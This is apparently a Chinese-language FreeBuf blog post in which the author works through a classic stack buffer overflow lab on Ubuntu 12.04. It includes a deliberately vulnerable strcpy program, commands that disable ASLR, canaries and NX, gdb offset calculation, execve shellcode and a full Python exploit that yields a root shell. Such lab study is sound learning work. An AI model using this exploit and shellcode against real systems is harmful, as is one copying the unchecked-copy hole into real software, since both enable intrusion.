freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

栈溢出学习(一)
jaxonSang 2020-10-24 10:21:44 254465

跟随教程https://sploitfun.wordpress.com/2015/

此次实验参考https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

经典栈溢出

这次实验是最简单的栈溢出实验,没有任何防护机制。

实验环境

Ubuntu12.04(一开始用的64位Kali-Linux,踩了不少坑,最后还是用了教程上面的环境Ubuntu12.04)

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

分析:当我们输出的字符串大于256字节,覆盖到main函数的返回地址,使其指向我们的shellcode,就可以完成攻击

编译命令

$echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

第一条指令是为了关闭ASRL保护机制

第二条指令-g 产生debug信息,便于接下来使用dgb调试,-fno-stack-protector关闭canary保护机制,-z execstack关闭NX保护机制,允许在栈上执行代码。

GDB运行程序

gdb -q vuln

运行程序

(gdb) disassemble main
Dump of assembler code for function main: //注意Intel格式
0x08048414 <+0>: push   %ebp
0x08048415 <+1>: mov   %esp,%ebp //这两句不用解释
0x08048417 <+3>: and   $0xfffffff0,%esp //对齐
0x0804841a <+6>: sub   $0x110,%esp //分配栈空间
0x08048420 <+12>: mov   0xc(%ebp),%eax //%eax = argv
0x08048423 <+15>: add   $0x4,%eax //$eax = argv + 4 = &argv[1]
0x08048426 <+18>: mov   (%eax),%eax //%eax = argv[1]
0x08048428 <+20>: mov   %eax,0x4(%esp) //Mem[%esp + 4] = %eax = argv[1]
0x0804842c <+24>: lea   0x10(%esp),%eax //%eax = %esp + 10 这个esp+10就是buf的起始地址
0x08048430 <+28>: mov   %eax,(%esp) //Mem[%esp] = %eax = %esp + 10
0x08048433 <+31>: call   0x8048330 <strcpy@plt> //调用strcpy函数
0x08048438 <+36>: mov   $0x8048530,%eax //0x8048330应该是"Input:%s"的起始地址
0x0804843d <+41>: lea   0x10(%esp),%edx //%edx = %esp + 10等于buf的起始地址
0x08048441 <+45>: mov   %edx,0x4(%esp) //Mem[%esp + 4] = %esp + 10
0x08048445 <+49>: mov   %eax,(%esp) //Mem[%esp] = 0x8048330,其实这里涉及到一个很有意思的东西,linux32位下面的函数调用约定_cdecl,从右向左依次压栈,因此"Input:%s“在栈顶,buf在%esp+4的位置
0x08048448 <+52>: call   0x8048320 <printf@plt> //调用printf函数
0x0804844d <+57>: mov   $0x0,%eax //设置返回值为0,return 0
0x08048452 <+62>: leave //%esp = %ebp, pop %ebp
0x08048453 <+63>: ret   //%eip = [%esp], %esp += 4
End of assembler dump.

image-20201021213011239

shellcode攻击分为以下三步

  • 找到buf起始地址到返回地址的空间大小

    经过上面的反汇编代码,我们可以看到buf起始地址在%esp+10的地方,而%esp = %ebp - 0x110,依次他距离%ebp为0x100字节由于前面有一个%esp对齐操作,造成了esp大小的改变,教程中直接说明这里面esp其实移动了8字节,然后再算上ebp寄存器4字节的大小,所以一共是0x10C个字节(268个字节)

    这里提供一个找自己方便的方式,不需要知道and 0xfffffff0, %esp指令的效果,便可以计算出原来的esp到没有减0x110的esp之间的距离

    (gdb) b *0x08048414             //我们在push %ebp处打断点,这时esp栈顶指针指向返回地址
    Breakpoint 1 at 0x8048414: file basic_stack_overflow.c, line 4.
    (gdb) b *0x0804841a //在sub $0x110, %esp处打断点,这是esp的值为原来的esp-4,然后对齐过后的值,可以想象,这两条指令执行之前esp的差值最后加上0x100就是buf到返回地址的差距  
    Breakpoint 2 at 0x804841a: file basic_stack_overflow.c, line 4.
    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/jackson/Program/CTF/Pwn/vuln

    Breakpoint 1, main (argc=2, argv=0xbffff614)
    at basic_stack_overflow.c:4
    4 int main(int argc, char* argv[]) {
    (gdb) p $esp //查看第一个断点esp的值
    $4 = (void *) 0xbffff57c
    (gdb) c
    Continuing.

    Breakpoint 2, 0x0804841a in main (argc=2, argv=0xbffff614)
    at basic_stack_overflow.c:4
    4 int main(int argc, char* argv[]) {
    (gdb) p $esp //查看第二个断点esp的值
    $5 = (void *) 0xbffff570
    (gdb)

    0xbffff570-0xbffff57c = 0xc = 12

    12 + 0x100 = 0x10c = 268

  • 决定覆盖返回地址的新地址,也就是我们shellcode的起始地址

    这个起始地址一般是指向返回地址的esp值+4,需要获取时我们就在ret指令之前打一个断点,然后p指令输出

    (gdb) b *0x08048453         //打断点
    Breakpoint 2 at 0x8048453: file basic_stack_overflow.c, line 9.
    (gdb) run `python -c 'print "A" * 300'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/jackson/Program/CTF/Pwn/vuln `python -c 'print "A" * 300'`
    Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Breakpoint 2, 0x08048453 in main (argc=1094795585, argv=0x41414141)
    at basic_stack_overflow.c:9
    9 }
    (gdb) p $esp
    $1 = (void *) 0xbffff55c
    (gdb)

    可以看到指向return address的栈指针为0xbffff55c,因此我们设置新的地址的值可以是0xbffff560,实际上gdb调试的地址和真实运行时的地址是不一样的,参见https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html

  • shellcode的编写

    本次shellcode实现```execv('/bin//sh')的函数

    0:  31 c0                   xor    eax,eax
    2: 50                     push   eax
    3: 68 2f 2f 73 68         push   0x68732f2f //'//sh'
    8: 68 2f 62 69 6e         push   0x6e69622f //'/bin'
    d: 89 e3                   mov    ebx,esp
    f: 50                     push   eax
    10: 89 e2                   mov    edx,esp
    12: 53                     push   ebx
    13: 89 e1                   mov    ecx,esp
    15: b0 0b                   mov   al,0xb
    17: cd 80                   int   0x80

开始Exploit

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       #记得修改为自己的

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" #就是我们上面的汇编代码的机器码

#endianess convertion
def conv(num):
return struct.pack("<I",num)

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

执行效果如下:

$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���

# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

image-20201021231917585

# 黑客 # 系统安全
本文为 jaxonSang 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
jaxonSang LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录